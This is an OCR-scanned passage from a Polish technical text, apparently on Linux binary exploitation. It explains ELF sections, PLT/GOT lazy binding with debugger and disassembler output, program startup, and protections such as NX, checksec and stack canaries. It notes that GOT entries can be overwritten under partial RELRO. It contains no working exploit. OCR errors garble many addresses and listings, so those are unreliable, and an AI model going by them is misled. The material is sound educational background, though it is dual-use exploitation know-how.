07:0038| = Ox7ITTIITTdE38 — OxTTITITIT e73b 4— Bx57T44494152444e41 ('ANDROID ')
[ BACKTRACE—i
- T 0 55555555457
Breakpoint *0x555 5
pwndbg> ]

Rysunek 3.4. Zrzut ekranu z GDB wraz z Pwndbg zaraz po wykonaniu komendy ent ry, ktéra startuje

program oraz przerywa jego dzialanie na samym poczatku — na punkcie startu.
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Kazdy plik ELF zaczyna sie od nagléwka, za ktérym znajduja sie dane. Dane te zawieraja;:

o Tabele nagléwkéw programu (ang. program header table) opisujaca zero lub wiecej seg-
mentéw pamieci — informacji potrzebnych systemowi operacyjnemu podczas uruchamiania
programu — adresy poszczegblnych segmentéw ktore zostana umieszczone w pamigci wir-
tualnej procesu oraz uprawnienia tej pamieci.

o Tabele nagléwkéw sekcji (ang. section header table) opisujaca zero lub wiecej sekcji —
informacji potrzebnych podczas linkowania oraz relokacji danych.

e Dane, do ktérych odwotuja sie wpisy w nagtéwkach programu lub sekcji.

4.1. Sekcje

Kolejne segmenty programu skladaja sie z jednej lub wiekszej liczby sekcji. W tabeli 4.1
przedstawiono wybrane — przydatne podczas procesu inzynierii wstecznej lub wykorzystywania

btedéw — oraz czesto spotykane nazwy sekcji ELF! [21].

4.2. Wykorzystywanie bibliotek wspoéldzielonych — globalna ta-

blica offsetow

Na listingu 4.1 zostal zaprezentowany przykladowy program, na ktérym zobaczymy w jaki
sposob wywolywane sa funkcje z bibliotek dynamicznych oraz jak w takim przypadku wyglada
zawartos¢ sekcji .plt, .got oraz .got.plt. Program zostal skompilowany poleceniem gcc
main.c.

Jak wida¢ w zdeasemblowanym kodzie, IDA Pro dodaje do nazw wywolywanych funkcji
bibliotecznych prefiks ,, 7. Dzieje sie tak dlatego, ze w rzeczywistosci wotana jest procedura
pelniaca role trampoliny czy tez procedury linkujacej, a nie bezposrednio dana funkcja biblio-
teczna. Jak mozna bylo przeczytac¢ w tabeli 4.1, procedury linkujace znajduja sie w sekcji .plt.
Na listingu 4.2 przedstawiono sekcje .plt zdeasemblowana przy uzyciu programu ob jdump,

gdyz pokazuje on wiecej informacji niz IDA Pro.

'Nazwy sekcji sa w petni umowne. Przyktadowo mozna sie spotkaé z nazywaniem sekcji . text oraz .rodata

przedstawionych w tabeli odpowiednio .code oraz .rdata.
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Tabela 4.1. Wybrane sekcje ELF.

Sekcja Wyjasnienie

.text Przechowuje kod maszynowy programu.

.rodata Przechowuje state programu — na przyktad tancuchy znakéw oraz state zmienne
globalne.

.data Przechowuje zainicjalizowane zmienne.

.bss Zawiera niezainicjalizowane dane, ktore podczas rozpoczynania dziatania pro-
gramu przez system, sa inicjalizowane zerami. Sekcja ta nie wystepuje w pliku
obiektowym — pomimo wpisu o niej w nagtéwkach sekcji — gdyz poza jej roz-
miarem, nie ma potrzeby przechowywac¢ zadnych danych z nig zwiazanych.

.got Z ang. Global Offset Table — zawiera tabele przechowujaca adresy zmiennych
z bibliotek dynamicznych, ktore sa relokowane podczas tadowania programu.
Opisana szerzej w 4.2.

.got.plt Zawiera tabele przechowujaca adresy fnkcji z bibliotek dynamicznych. Opisana
szerze] w 4.2.

.plt Z ang. Procedure Linkage Table — przechowuje procedury linkujace. Opisana
szerzej w 4.2.

.rela.dyn Zawiera tabele przechowujaca informacje o zmiennych, ktére muszg zostaé zre-
lokowane podczas tadowania programu.

.rela.plt Zawiera tabele przechowujaca informacje o funkcjach, ktére musza zostaé zre-

lokowane podczas tadowania programu.

Listing 4.1. Przykladowy program korzystajacy z funkcji z biblioteki dynamicznej — GNU libc. Po prawej

stronie umieszczono zdeasembloawny kod funkcji main przez program IDA Pro.

#inc

~]lude <stdio.h>

int main () {

push rbp
mov rbp, rsp
lea rdi, s ; "Hello world!"
call _puts
lea rdi, aAnotherPuts ,; "Another puts”
puts ("Hello world!"); call _puts
mov rax, cs:stdout
puts ("Another puts"); mov edx, 3
lea rsi, format ; "gd\n"
fprintf (stdout, "%d\n", 3); mov rdi, rax ; Stream
mov eax, O
call _fprintf
mov eax, O
pop rbp
retn
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Listing 4.2. Deasemblacja sekcji .plt dla programu z listingu 4.1 przy uzyciu objdump. Z wyjscia

programu usunieto kolumne zawierajaca opkody instrukcji. Na zielono dodano komentarze.

$ objdump —--disassemble --disassembler-options=intel --section=.plt ./a.out

Disassembly of section .plt:

00000000000005c0 <.plt>: // funkcja specjalna

5c0: push QWORD PTR [rip+0x200a42] # 201008 <_GLOBAL_OFFSET_TABLE_+0x8>
5c¢6: Jjmp QWORD PTR [rip+0x200a44] # 201010 <_GLOBAL_OFFSET_TABLE_+0x10>
5cc: nop DWORD PTR [rax+0x0]

00000000000005d0 <puts@plt>: // oznaczenie w IDA Pro _puts

5d0: Jmp QWORD PTR [rip+0x200a42] # 201018 <puts@GLIBC_2.2.5>

5d6: push 0x0
5db: Jjmp 5¢0 <.plt>

00000000000005e0 <fprintf@plt>: // oznaczenie w IDA Pro _fprintf

5e0: Jmp QWORD PTR [rip+0x200a3al # 201020 <fprintf@GLIBC_2.2.5>
5e6: push Ox1

S5eb: Jmp 5¢0 <.plt>

Obie procedury linkujace sa bardzo podobne. Jak mozna zauwazy¢ — funkcje _puts oraz
_fprintf (czy tez <puts@plt> oraz <fprint £@plt>) skacza odpowiednio pod adres 0x201018
oraz 0x201020. Adresy te znajduja sie w segmencie pamieci, ktéry zawiera sekcje .got.plt —
czyli globalng tabele offsetéw dla adreséw funkcji — co wida¢ na ponizszym listingu pochodzacym

z programu IDA Pro:

.got.plt:0000000000201018 off_201018 dg offset puts ; DATA XREF: _puts
.got.plt:0000000000201020 off 201020 dg offset fprintf ; DATA XREF: _fprintf

Nazwy puts oraz fprintf sg — w programie IDA Pro — odniesieniami do pseudo segmentu
pamieci extern — tworzonego przez IDA Pro w celu reprezentowania adreséw symboli — za-
réwno zmiennych jak i funkcji — z bibliotek dynamicznych [22]. Ponizszy listing prezentuje cala

zawartosé tego segmentu.

extern:0000000000201048 ; Segment type: Externs
extern:0000000000201048 ; extern

extern:0000000000201048 extrn puts@@GLIBC_2_2_ 5:near
extern:000000000020104cC extrn _ libc_start_main@@GLIBC_2_2_ 5:near
extern:0000000000201050 extrn fprintf@@GLIBC_2_2_ 5:near
extern:0000000000201054 extrn _ cxa_ finalize@@GLIBC_2_2_5:near ; weak
extern:0000000000201058 ; int puts(const char =s)

extern:0000000000201058 extrn puts:near ; DATA XREF: .got.plt:off_201018
extern:000000000020105C ; int _ _cdecl _1libc_start_main(...)
extern:000000000020105C extrn _ libc_start_main:near ; CODE XREF: _start+24
extern:000000000020105C ; DATA XREF: .got:__ libc_start_main_ptr
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extern:0000000000201060 ; int fprintf(FILE xstream, const char xformat, ...)
extern:0000000000201060 extrn fprintf:near ; DATA XREF: .got.plt:off_ 201020
extern:0000000000201064 extrn _ _imp__ cxa_finalize:near ; weak
extern:0000000000201064 ; DATA XREF: .got:__cxa_finalize_ptr
extern:0000000000201068 extrn _ITM_deregisterTMCloneTable ; weak
extern:0000000000201068 ; DATA XREF: .got:_ITM_deregisterTMCloneTable_ptr
extern:000000000020106C extrn __gmon_start___:near ; weak
extern:000000000020106C ; CODE XREF: _init_proc+10
extern:000000000020106C ; DATA XREF: .got:__gmon_start___ ptr
extern:0000000000201070 extrn _ITM_registerTMCloneTable ; weak
extern:0000000000201070 ; DATA XREF: .got:_ITM_registerTMCloneTable_ptr

Program, wykonujac instrukcje call _puts wywoluje procedure linkujaca, a ta skacze pod

adres znajdujacy sie pod odpowiednim adresem w pamieci odpowiadajacej sekcji .got.plt.

Ten odpowiadajacy adres znany jest dopiero podczas dzialania programu. Mozna go poznaé

wykorzystujac komende got z Pwndbg, ktéra wypisuje funkcje i odpowiadajace im adresy znaj-

dujace sie¢ w sekcji . got .plt. Zostalo to przedstawione na rysunku 4.1. Debugowany program

znajduje sie wtedy przed wykonaniem instrukcji call _puts. Na rysunku widaé¢ rowniez wynik

polecenia u 0x5555555545d6 — czyli deasemblacji adresu puts@plt+6, ktéry odpowiada

wpisowi w globalnej tabeli offsetéw funkcji — . got .plt. Jak mozna zobaczy¢, program, wyko-

nujac po raz pierwszy funkcje puts@plt wykonuje nastepujace kroki:

« Skacze pod adres pobrany z rip + 02200242, czyli 0x555...0182 — ktéry jest adresem wpisu

funkcji puts w .got.plt. Widaé¢ to w wyniku polecenia got. Pobrany adres to kolejna
instrukcja w procedurze linkujacej — put s@plt+6. Taka operacja — skok pod adres kolejnej
instrukcji — z poczatku moze wydawaé sie dziwna, lecz zostanie ona wyjasniona ponizej.
Kolejne dwie instrukcje procedury linkujacej to odlozenie na stos wartoéci 0 (ktéra
jest indeksem danej funkcji w globalnej tabeli offsetéw funkeji) oraz skok pod ad-
res 0x555...5¢0. Adres ten to tak naprawde adres pierwszej, specjalnej funkcji, znaj-
dujacej sie w sekcji .plt — o takiej samej nazwie. Funkcja ta odktada na stos ad-
res poczatku sekcji .got.plt (obliczony adres znajdujacy si¢ w nawiasach ostrokat-
nych przy instrukcji push qword ptr [rip + 0x200a42] to adres wpisu pierwszej funkcji
— puts — w GOT). Nastepnie omawiana specjalna procedura linkujaca skacze do funkcji
_dl_runtime_resolve_avx_slow.

Kolejna wykonywana funkcja — _dl_runtime_resolve_avx_slow — pochodzi z biblioteki
GNU libc, co mozna sprawdzié¢ poleceniem wyswietlajacym strone pamieci, do ktérej nalezy
dany adres lub funkcja:

pwndbg> vmmap _dl_runtime_resolve_avx_slow
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
O0x7£f£££7dd9000 O0x7£f£f££7dfc000 r-xp 23000 0 /usr/1ib/1d-2.25.s0

Ta funkcja jak i inne funkcje wykonywane przez nig maja za zadanie pobra¢ wlasciwy adres

2 Adres zostal skrécony, dla wiekszej czytelnodci.
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funkcji puts z biblioteki GNU libc i wstawié¢ go do globalnej tabeli offsetéw (.got.plt)
pod indeks 0, ktory zostal wczedniej odlozony na stos przez druga instrukcje procedury
linkujacej puts@plt (dla przypomnienia — nazwanej przez IDA Pro _puts) — ktéry od-
powiada funkcji puts.

e Po tych operacjach wykonywana jest wlasciwa funkcja puts, a w .got .plt puts znaduje

sie jej wlasciwy adres, co zostalo przedstawione na rysunku 4.2.

Przedstawiony wyzej mechanizm pozwala na odlozenie w czasie tadowania adreséw funkcji
z bibliotek dynamicznych az do momentu pierwszego uzycia danych funkcji. Dziatanie takie

przyspiesza tadowanie programu.

Niestety, obecne wersje kompilatorow — GCC w wersji 7.1.1 20170630 oraz Clang 4.0.1 bez
podania okreslonych flag kompiluja programy z niepelnym zabezpieczeniem RELRO (opisanym
w sekcji 5.3), przez co strona pamieci zawierajaca sekcje . got .plt ma uprawnienia do odczytu
oraz do pisania. Oznacza to, ze atakujacy moze zmieni¢ adres znajdujacy sie w globalnej tabeli

offsetéw na dowolny inny. Tego typu atak zostal pokazany w analizie problemu przedstawionej

w sekcji 9.1.
pwndbg> context disasm
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ DISASM
0x55555555470e <main+4=> lea rdi, qword ptr [rip + @xbf]
puts@plt <0x5555555545d0>

S: 0x5555555547d4 «— 'Hello world!'

0x55555555471a <main+16> lea rdi, qword ptr [rip + 0xc@]
0x555555554721 <main+23> call puts@plt <0x5555555545d0=

0x555555554726 <main+28> mov rax, qword ptr [rip + 0x20090b] <0x555555755038>
0x55555555472d <main+35> mov edx, 3

0x555555554732 <main+40> lea rsi, qword ptr [rip + ©@xb5]

0x555555554739 <main+47> mov rdi, rax

0x55555555473¢Cc <main+50> mov eax, ©

0x555555554741 <main+55> call fprintf@plt <@x5555555545e0>

0x555555554746 <main+60=> mowv eax, @
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 2

[0x555555755018] put
[0x555555755028] fp C
pwndbg= u 0x5555555545d0

gGLIBC 2.2.5 -> 0x5555555545d6 (puts@plt+6) «— push @ /* 'h' */
@GLIBC 2.2.5 -= @x5555555545e6 (fprintf@plt+6) «— push 1

jmp qword ptr [rip + 0x200a42] <0x555555755018>

0x5555555545d6 <puts@plt+6> push [¢]

B8x5555555545db <puts@plt+11= jmp ©x5555555545¢c0
[

0x5555555545¢c0 push qword ptr [rip + 0x200a42] <@x555555755008>

0x5555555545¢c6 jmp qword ptr [rip + 0x200a44] <Ox7ffff7deebed>
[

Ox7TTff7deebed < dl runtime resolve avx slow= vorpd ymm8, ymml, ymm®@

Ox7ffff7dee6ed < dl runtime resolve avx_slow+d> vorpd ymm3, ymm3, ymm2

Ox7ffff7dee6e8 < dl runtime resolve avx_ slow+8> vorpd ymml@, ymm5, ymm4

Ox7ffff7deebec < dl_runtime resolve avx_slow+12> vorpd ymmll, ymm7, ymmé

Ox7TTff7dee6f® < dl runtime resolve avx slow+16> vorpd ymm9, ymm9, ymm8
Ox7ffff7dee6f5 < dl_runtime resolve avx_slow+21> vorpd ymml®, ymmll, ymmle
pwndbg> [ |

Rysunek 4.1. Zrzut ekranu z GDB gdy program jest przed pierwszym wykonaniem instrukcji

call _puts.

— 57 —
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pwndbg> context disasm

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
[ DISASM
0x55555555470e <main+4> lea rdi, gword ptr [rip + Oxbf]
0x555555554715 <main+11l> call puts@plt =0@x5555555545d0>

0x55555555471a <main+16> lea rdi, gqword ptr [rip + Oxc@]
puts@plt <0x5555555545d0=
s: 0x5555555547el «— 'Another puts'

0x555555554726 <main+28> mov rax, qword ptr [rip + 0x28090b] <0x555555755038>
0x55555555472d <main+35> mov edx, 3

0x555555554732 <main+40> lea rsi, gqword ptr [rip + ©0xb5]

0x555555554739 <main+47> mov rdi, rax

0x55555555473¢C <main+50> mowv eax, 0

0x555555554741 <main+55= call fprintf@plt =0x5555555545e0>

0x555555554746 <main+60> mowv eax, 0
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 2

[#x555555755018] puts@GLIBC 2.2.5 -=» @x7ffff7a9dafe (puts) «— push ris
[@x555555755020] fprintf@GLIBC 2.2.5 -» 0x5555555545e6 (fprintf@plt+6) <«— push 1
pwndbg> u 8x5555555545d0
jmp gword ptr [rip + 8x200a42] <Ox7ffff7agdofe=
1

ox7ffff7a9dafe <puts= push ri3

ox7ffff7a9dof2 <puts+2=> push riz

Ox7ffff7a9d9f4 <puts+4= mov rlz, rdi

ox7ffff7a9daf7 <puts+7= push rbp

Ox7ffff7a9daf8 <puts+8= push rbx

Ox7ffff7a9d9f9 <puts+9> sub rsp, 8

Ox7Tfff7a9d9fd <puts+13> call strien <Ex7ffff7ab58a0>
Ox7ffff7a9%dad2 <puts+18=> mov rbp, gqword ptr [rip + 8x336c5T] =<0x7ffff7dd4668>
Ox7ffff7a9da09 =<puts+25> mov rbx, rax

Ox7ffff7a9dabc <puts+28> mowv eax, dword ptr [rbp]

':wndbg> []

Rysunek 4.2. Zrzut ekranu z GDB gdy program jest przed drugim wykonaniem instrukcji call _puts.
Jak mozna zobaczy¢é w .got .plt adres funkcji puts jest juz uzupelniony, a zatem wywolanie procedury
linkujacej wykonuje tylko jeden skok, zamiast calego procesu pobrania oraz uzupelnienia adresu funkcji

puts.

4.3. Start programu

Kazdy program posiada punkt wejscia (ang. entry point), czyli adres od ktérego procesor
zaczyna wykonywaé kod programu po jego uruchomieniu. Adres ten mozna wyswietli¢ korzy-
stajac z narzedzia readelf z przelacznikiem —--file-header, ktéry wydwietla informacje
pochodzace z nagtéwka pliku ELF.

Podczas pisania kodu w jezyku C czy C++ z perspektywy programisty punktem wejscia
do programu jest zazwyczaj funkcja main®. W rzeczywistoéci, role te petni inna funkcja. Mozna

to zobaczy¢ na przyktadzie kodu z listingu 4.3, ktory zostal nastepnie skompilowany polece-

3Zazwyczaj, poniewaz przekazujac odpowiednie flagi do linkera podczas kompilacji mozna okredli¢ dowolna

funkcje, ktéra zastapi role funkcji main.
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niem g++ main.cpp -o exec. Nastepnie poznano punkt wejécia programu co prezentuje

listingu 4.4.

Listing 4.3. Przyktadowy program typu ,hello world” napisany w jezyku C++.

1 #include <iostream>

2 int main() { std::cout << "Hello world" << std::endl; }

Listing 4.4. Wyswietlanie punktu wejscia programu z listingu 4.3.

$ readelf --file-header ./exec | grep "Entry point address"

Entry point address: 0x4006b0

Jak mozna zauwazy¢ punkt wejscia znajduje si¢ pod adresem 0x4006b0. Wyswietlajac sym-

bole znajdujace sie w pliku ELF, mozna zobaczy¢, ze jest to tak naprawde funkcja _start:

$ readelf —--symbols ./exec | grep 4006b0
13: 00000000004006b0 0 SECTION LOCAL DEFAULT 13
50: 00000000004006b0 43 FUNC GLOBAL DEFAULT 13 _start

Dziatanie funkcji _start mozna przeanalizowaé deasemblujac ja — jej zdeasemblowany kod zo-
stal zaprezentowany na listingu 4.5. Przygotowuje ona argumenty do funkcji _ 1ibc_start_main
— w tym miedzy innymi adresy funkcji main, konstruktora (__libc_csu_init) oraz destruktora
programu (__libc_csu_fini), a nastepnie ja wywoluje. Finalnie, funkcja main napisana przez
programiste, jest wywolywana wlasnie przez funkcje _ 1ibc_start_main [23].

Dla poréwnania na listingu 4.6 mozna zobaczy¢ zdeasemblowana funkcje _start dla pro-
gramu o takim samym kodzie zZrédlowym, lecz skompilowanym statycznie oraz z usunietymi
symbolami — zrobiono to poleceniem g++ —-static main.c -o static_exec && strip
static_exec.

Jak mozna zobaczy¢, dziatanie funkcji start jest dos¢ charakterystyczne, co w przypadku
analizy oprogramowania nie zawierajacego symboli znacznie ulatwia znalezienie funkcji main

napisanej przez programiste.
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Listing 4.5. Zdeasemblowany kod funkcji _start. Jak mozna zauwazy¢, IDA Pro rozpoznaje kolejne

argumenty do funkcji _ libc_start_main i komentuje miejsca, w ktorych sa one ustawiane.

.text:
.text:
.text:
.text:
.text:
:4006B2
:4006B5

.text
.text

.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:

4006B0
4006B0
4006B0
4006B0
4006B0O

4006B6
4006B9
4006BD
4006BE
4006BF
4006C6
4006CD
4006D4
4006DA
4006DA

; Attributes: noreturn

public _start

_start proc near

XOor ebp, ebp

mov r9, rdx

pop rsi

mov rdx, rsp

and rsp, OFFFFFFFFFFFEFFEFFOO
push rax

push rsp

mov r8, offset _ libc_csu_fini
mov rcx, offset _ libc_csu_init
mov rdi, offset main ; main
call cs:__libc_start_main_ptr
hlt

_start endp

rtld fini
argc

ubp_av

stack_end
fini

init

Listing 4.6. Zdeasemblowany kod funkcji _start dla programu skompilowanego statycznie z usunietymi

symbolami.

.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
:400D79
:400D7D

.text
.text

.text:
.text:
.text:
.text:
.text:
.text:

400D70
400D70
400D70
400D70
400D70
400D72
400D75
400D76

400D7E
400D7F
400D86
400D8D
400D9%4
400D94

; Attributes: noreturn

public start

start proc near

XOr
mov
pop
mov
and
push
push
mov
mov
mov

call

ebp, ebp
r9, rdx
rsi

rdx, rsp
rsp, OFFFFFFFFFFFFFEFFOOh
rax

rsp

r8, offset unk_49BAF0 ,; adres _ libc csu fini

rcx, offset unk_49BA60 ; adres _ 1libc csu_init

rdi, offset sub_400E7D ; adres main

sub_49B3F0 ; adres __libc_start_main

start endp
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W tym rozdziale opisano zabezpieczenia zwiazane z programami wykonywalnymi w syste-
mach Linux. Wigkszo$¢ z nich jest $cidle zwiazanych z programami w formie binarnej — plikami
ELF —i da sie je wlaczy¢ podczas kompilacji. Inne zas — jak np. ASLR sa globalnym ustawieniem
systemu operacyjnego.

Zabezpieczenia zwigzane z danym plikiem binarnym mozna wyswietli¢ korzystajac z skryptu
checksec [24]. Skrypt ten korzysta z programu readelf i wyswietla dostepne informacje w przy-
stepny sposob. Pozwala on réwniez na wyswietlanie informacji o zabezpieczeniach wszystkich
proces6w uruchomionych na komputerze (flaga ——proc-all), czy tez o zabezpieczeniach sa-
mego jadra systemu operacyjnego (flaga ——kernel).

Istnieje réwniez skrypt o tej samej nazwie instalowanego wraz z modulem do jezyka Python
— pwntools [25]. Skrypt z pwntools w przeciwieristwie do oryginalu potrafi jedynie wyswietli¢ za-
bezpieczenia pojedynczego pliku binarnego.

Przyktad wykorzystania checksec z modutu pwntools mozna zobaczy¢ na listingu 5.1.

Listing 5.1. Przykladowe wykorzystanie checksec z modulu pwntools w celu wy$wietlenia zabezpieczen

programu.

$ checksec —--file /bin/bash
[*] '"/bin/bash'

Arch: amd64-64-1little
RELRO:

Stack: Canary found

NX: NX enabled

PIE: No PIE (0x400000)

FORTIFY: Enabled

5.1. Ochrona pamieci przed wykonaniem (bit NX/DEP)

NX bit lub tez No-eXecute to technologia stosowana w procesorach pozwalajaca okresli¢ dane
strony pamieci! jako niewykonywalne. Gdy dana strona pamieci jest oznaczona w ten sposéb,

préba wykonania jej zawartosci jako kodu (np. ustawienie rejestru RIP na adres spod tej strony)

!Strona pamieci to najmniejsza jednostka pamieci na ktérej operuje system operacyjny. W przypadku syste-

méw Linux rozmiar pojedynczej strony pamieci mozna ustawi¢ podczas kompilacji jadra systemu.


https://github.com/slimm609/checksec.sh
https://github.com/Gallopsled/pwntools

5.1. Ochrona pamieci przed wykonaniem (bit NX/DEP)

koniczy sie wygenerowaniem wyjatku, ktéry najczeéciej? powoduje przerwanie wykonywania pro-
gramu [26].
W  przypadku systeméw Windows ochrona pamieci przed wykonaniem danych

znana jest jako DEP — Data Ezecution Prevention [27].

5.1.1. Wylaczanie bitu NX podczas kompilowania przy pomocy GCC

W przypadku kompilacji programu w systemie Linux kompilatorem GCC mozna wytaczyé
bit NX poprzez zastosowanie flagi —z execstack. Mozna to zobaczy¢ na prostym programie

napisanym w jezyku C:
1 #include <stdlib.h>
3 int main() { void* a = malloc(123); }

Eksploitacja, czyli wykorzystywanie tego typu sytuacji, zostala przedstawiona w sekcji 8.2

oraz podczas analizy i rozwigzania zadania opisanego w punkcie 9.2.

5.1.2. Wyswietlanie stron pamieci w GDB z Pwndbg

Na rysunkach 5.1 oraz 5.2 prezentowane sa strony pamieci dla powyzszego programu wraz
z ich uprawnieniami wypisane przy uzyciu komendy vmmap z Pwndbg. Komenda ta wypisuje
w kolejnych kolumnach:

o adres poczatkowy strony pamieci,

o adres konicowy strony pamieci (nie nalezacy juz do niej),

o atrybuty/uprawnienia strony: r — read — odczyt, w — write — zapis, e — execute — wykony-

wanie, p — private — strona prywatna, s — shared — strona wspdtdzielona,

e rozmiar,

o adres w pliku z ktérego zaladowana zostala strona,

o Sciezke do pliku z ktérego zostala zaladowana strona lub pseudoplik (np. stos — [stack]

czy sterta — [heap]).

Dodatkowo na obu rysunkach (5.1 oraz 5.2) mozna zaobserwowa¢ dosé nietypowa strone pa-
mieci z biblioteki libe (/usr/1ib/1libc-2.25.s0) o atrybutach ——-p. Taka strona jest aloko-
wana przez dynamiczny linker programu dla kazdej biblioteki dynamicznie tadowanej w dwdch
celach: aby oddzieli¢ sekcje kodu od sekcji danych oraz po to, aby cata biblioteka libc zajmowalta
ciagly obszar pamieci. Te zabiegi maja na celu zwiekszenie wydajnoéci wspotdzielenia sekcji
kodu miedzy procesami oraz zwickszenie wydajnosci dealokacji biblioteki z pamieci poprzez

zastosowanie jednego wywolania systemowego-munmap, zamiast wielu [28].

2Przykladowo piszac program w systemie Linux mozna zarejestrowaé obstuge sygnatu generowanego przez
system operacyjny odpowiadajacego za niepoprawne odwotanie si¢ do pamieci — SIGSEGV — i nie konczy¢ dziatania

programu.
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Mapowanie stron pamieci mozna rowniez wyswietlic w GDB bez rozszerzen wykorzystujac

komende info proc mappings. Niestety wynik jej nie zawiera informacji o uprawnieniach

stron oraz nie jest pokolorowany tak jak wynik komendy vmmap z rozszerzenia Pwndbg.

pwndhg> vmmap

LEGEND: STACK | HEAP | CODE | DATA | BWX | RODATA

0x400000 0x481000 r-xp 1000 © /home/dc/test/a.out
0x600000 0x661000 r--p 1000 © /home/dc/test/a.out
0x601000 0x602000 rw-p 1000 1000 /home/dc/test/a.out
Px602000 0x623000 rw-p 21000 B [heap]
Ox7ffff7a3s000 Ox7ffff7bd1le00 r-xp 19c000 @ Jusr/lib/1ibc-2.25.50
ex7ffff7bd10e0 Ox7ffff7ddeeee ---p 1ffeee 19ceee@ /usr/lib/libc-2.25.s0
0x7ffff7ddeeee Ox7ffff7dd4000 r--p 4000 19b000 /fusr/lib/libc-2.25.s0
ox7ffff7dd4000 Ox7ffff7dd6000 rw-p 2000 19fee0 /usr/lib/libc-2.25.s0
Ox7ffff7dd60ee Ox7ffff7ddaeee rw-p 4000 ©
ex7ffff7ddaeee ex7ffff7dfdeee r-xp 23000 © fusr/lib/1d-2.25.s0
ox7ffff7fboeee Ox7ffff7fb2000 rw-p 2000 ©
ax7ffff7ffeooe ox7ffff7ffaeeo r--p 2000 0 [vvar]
Ox7ffff7ffaooo Ox7ffff7ffcoo0 r-xp 2000 © [vdso]
ox7ffff7ffcooo ex7ffff7ffdeee r--p 1000 22000 /usr/lib/ld-2.25.s0
ox7ffff7ffdeee Ox7ffff7ffe0oo rw-p 1000 23000 /usr/lib/ld-2.25.s0
ox7ffff7ffe0oo Ox7ffff7fffoee rw-p 1000 ©
ax7fTfffffddeee OxITTFfTfffoee rw-p 22000 @ [stack]
oxffffffffffeennee oxffffffffff6e1000 r-xp 1000 © [vsyscall]

pwndbg> | |

Rysunek 5.1. Strony pamieci w programie skompilowanym poleceniem gcc main.c.

pwndbg= vmmap

LEGEND: STACK | HEAP | CODE | DATA | BRWX | RODATA

0x400000 0x401000 r-xp 1000 @ Jfhome/dc/test/a.out
0x600000 0x601000 r-xp 1000 @ Jhome/fdc/test/a.out
Bx601000 x602000 rwxp 1000 1860 /home/dc/test/a.out
0x602000 0x623000 rwxp 21000 @ [heap]
x7Tfff7a35000 Ox7Tfff7bd1080 r-xp 19cOoe o Jusr/lib/1libc-2.25.50
px7ffff7bdloee Ox7Tfff7ddeesd ---p 1ffeee 19c000 fusr/lib/libc-2.25.s0
Ox7ffff7ddeoan Ox7TTfT7dd4080 r-xp 4000 19b660O Susr/lib/libc-2.25.s0
Ox7ffff7dd408e Ox7ffff7dd6080 rwxp 2000 19fe@0 fusr/lib/libc-2.25.s0
Ox7ffff7dd6oae Ox7ffff7dda®de rwxp 4000 @
x7Tfff7ddaeee Ox7TFff7dTdoee r-xp 23000 0 Jusr/lib/1d-2.25.50
Ex7ffff7fboeaa Ox7Tfff7fb2000 rwxp 2000 @
px7Tfff7ffeeen Ox7Tfff7ffaoe® r--p 2000 0 [vvar]
px7ffff7ffacon Ox7Ffff7ffcoed r-xp 20080 0 [vdso]
px7ffff7ffconn ax7ffff7ffdoee r-xp 10680 22008 /usr/lib/1d-2.25.s50
px7ffff7ffdean Ox7Tfff7ffedBO rwxp 1000 23000 Jusr/lib/1d-2.25.s0
px7ffff7ffenn Ex7Tfff7fffo00 rwxp 1000 @
ax7ffffffddeee ax7ffffffffoee rwxp 22000 0 [stack]
axffffffffffeoooee oxffffffffffeoleee r-xp 1000 @ [vsyscall]

pwndbg> []

Rysunek 5.2. Strony pamieci w programie skompilowanym poleceniem gcc -z execstack main.c.
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5.2. Ochrona przed przepelnieniem buforu na stosie

SSP — Stack Smashing Protector — to zabezpieczenie polegajace na wykryciu przepelnieniem
bufora znajdujacego sie na stosie oraz zapobieganiu niewlasciwego dzialania programu przez
te sytuacje, na przykiad poprzez zakonczenie programu wraz z informacja o bledzie.

Poprzez przepelnienie bufora na stosie atakujacy moze na przyklad zmieni¢ adres powrotu
z funkcji, przez co program wychodzac z danej funkcji ,wroci” w inne miejsce w programie.
Ta technika wraz z ogdlniejszym pojeciem przepelnienia bufora zostaly szerzej opisane w punk-

cie 8.1.

SSP jest w pelni realizowane przez kompilator i sktada si¢ z trzech rzeczy:

e Zmiany kolejnosci zmiennych lokalnych funkcji, tak, aby bufory znalazty sie za pozostalymi
zmiennymi.

o Kopiowania argumentéw wskaznikowych do zmiennych lokalnych znajdujacych sie przed
zmiennymi lokalnymi.

o Wstawienia do ramki stosu danej funkcji specjalna wartos¢ — tzw. kanarek na sto-

sie (ang. stack canary) nazywana tez ciastkiem bezpieczenistwa (ang. stack cookie).

5.2.1. Kanarki na stosie

Na obrazku 5.3 przedstawiono przykladowy schemat stosu zawierajacego kanarka/ciastko
bezpieczenstwa.

Dodawanie kanarkéw na stosie przez kompilator polega na umieszczeniu dodatkowej wartosci
przed adresem powrotu z funkeji czy zapisana wartoscia rejestru RBP (jesli wystepuje) — zatem
za buforem, jesli takowy wystepuje w ramce stosu. Gdy wystapi przepetnienie bufora na sto-
sie, wartos¢ kanarka moze zosta¢ uszkodzona. Podczas wychodzenia z funkcji, warto$é¢ kanarka
zostaje sprawdzona i jezeli jest ona niepoprawna, program konczy swoje dziatanie.

Wartos¢ kanarka jest inicjalizowana podczas prologu funkcji globalng wartoscia, ktéra jest
losowana podczas startu programu. Przed samym wyjsciem z funkcji, globalna warto$¢ jest pobie-
rana i weryfikowane jest, czy przypadkiem wartos¢ kanarka nie zostata zmieniona. W przypadku
zmiany, uruchamiana jest procedura obslugujaca taka sytuacje [29].

W przypadku kompilatora Microsoft Visual Studio w systemach Windows, wartosé loso-
wego kanarka jest dodatkowo poddawana operacji XOR z wskaznikiem poczatku stosu (re-
jestrem EBP lub RBP). Utrudnia to proces eksploitacji przepelnienia bufora na stosie, gdyz

wymaga od atakujacego poznania dwéch wartoéci — kanarka oraz wartosci rejestru [30].

5.2.2. Warto$é kanarka w programach 32 oraz 64-bitowych

Wartosé kanarka na stosie r6zni sie pomiedzy programami 32 oraz 64-bitowymi. W progra-

mach 32-bitowych kanarek ma wielkosé czterech bajtéow, a w 64-bitowych osiem bajtow.
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Rysunek 5.3. Stos z kanarkiem. Przepelniajac bufor, ktéry jest zmienng lokalna, atakujacy nadpisze

rowniez warto$é¢ kanarka.

Nizsze adresy: 0x00...00

zmienne lokalne
